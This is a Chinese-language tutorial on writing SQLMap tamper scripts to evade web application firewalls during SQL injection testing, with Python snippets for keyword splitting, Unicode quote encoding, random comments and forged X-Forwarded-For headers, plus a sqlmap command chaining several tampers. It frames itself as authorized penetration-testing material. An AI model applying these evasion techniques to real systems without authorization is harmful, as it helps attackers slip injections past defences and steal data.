云计算百科
云计算领域专业知识百科平台

SQLMap Tamper脚本编写绕过WAF实战指南

一、Tamper脚本的核心价值

现代WAF通过正则匹配、语义分析和行为建模拦截SQL注入。Tamper脚本作为SQLMap的“请求变形器”,在三个层面实现绕过:

  • ‌编码层‌:URL/Unicode/Base64编码混淆敏感字符(如base64encode.py将SELECT转为Base64);
  • ‌语法层‌:空格替换、关键字分割(如space2comment.py用/**/替代空格);
  • ‌协议层‌:HTTP头注入、分块传输干扰流量分析。

  • 二、Tamper脚本编写实战

    步骤1:基础结构

    每个Tamper脚本需包含优先级声明、依赖项检查及核心篡改函数:

    from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL # 控制多脚本执行顺序 def dependencies(): pass # 声明适用环境(如仅MySQL) def tamper(payload, **kwargs): if payload: payload = payload.replace("UNION", "UNI/**/ON") # 分割关键字绕过过滤 return payload

    ‌关键参数‌:

    • payload:原始注入语句
    • kwargs:数据库类型、注入点等元数据
    步骤2:绕过常见WAF规则
    • ‌案例1:绕过单引号过滤‌ 使用Unicode编码替代单引号(如apostrophemask.py):

      payload = payload.replace("'", "%EF%BC%87") # 单引号 → Unicode

    • ‌案例2:混淆空格与函数名‌ 针对过滤SELECT * FROM的规则:

      payload = payload.replace(" ", "/**/") # 空格 → 注释 payload = payload.replace("DATABASE()", "DATA/**/BASE()") # 分割函数名

    步骤3:组合脚本增强绕过

    通过–tamper加载多脚本,形成分层混淆:

    sqlmap -u "http://target.com/?id=1" –tamper="apostrophemask,space2comment,base64encode"

    ‌技巧‌:优先使用–level=5 –risk=3确保检测强度。


    三、高级绕过策略

  • ‌动态负载生成‌ 利用随机注释符干扰正则匹配(如randomcomments.py):

    def tamper(payload, **kwargs): return payload.replace("AND", "A/*{}*/ND".format(random.randstr(3)))

  • ‌协议级绕过‌ 修改HTTP头伪装合法流量:

    headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = "127.0.0.1" # 伪造来源IP

  • ‌AI辅助绕过‌ 使用GAN生成拟态注入载荷,模拟正常业务流量特征。


  • 四、测试环境与合规实践

    • ‌环境搭建‌: 使用OWASP BWA或DVWA部署含WAF的靶场(如ModSecurity + CRS)。
    • ‌日志分析‌: 通过–logs-dir保存请求日志,优化Tamper逻辑。
    • ‌合规要求‌: ‌仅限授权测试‌,避免法律风险;测试后修复漏洞(如参数化查询)。

    ‌资源‌:

    • SQLMap官方Tamper脚本目录:/usr/share/sqlmap/tamper
    • 脚本开发模板:参考charencode.py编码逻辑

    结语

    Tamper脚本是绕过WAF的动态武器库,其核心在于‌理解WAF规则并针对性变形载荷‌。软件测试人员需持续关注WAF演进(如AI防御升级),通过攻防演练迭代脚本。

    精选文章:

    AI Test:AI 测试平台落地实践!

    部署一套完整的 Prometheus+Grafana 智能监控告警系统

    微服务架构下的契约测试实践

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » SQLMap Tamper脚本编写绕过WAF实战指南
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!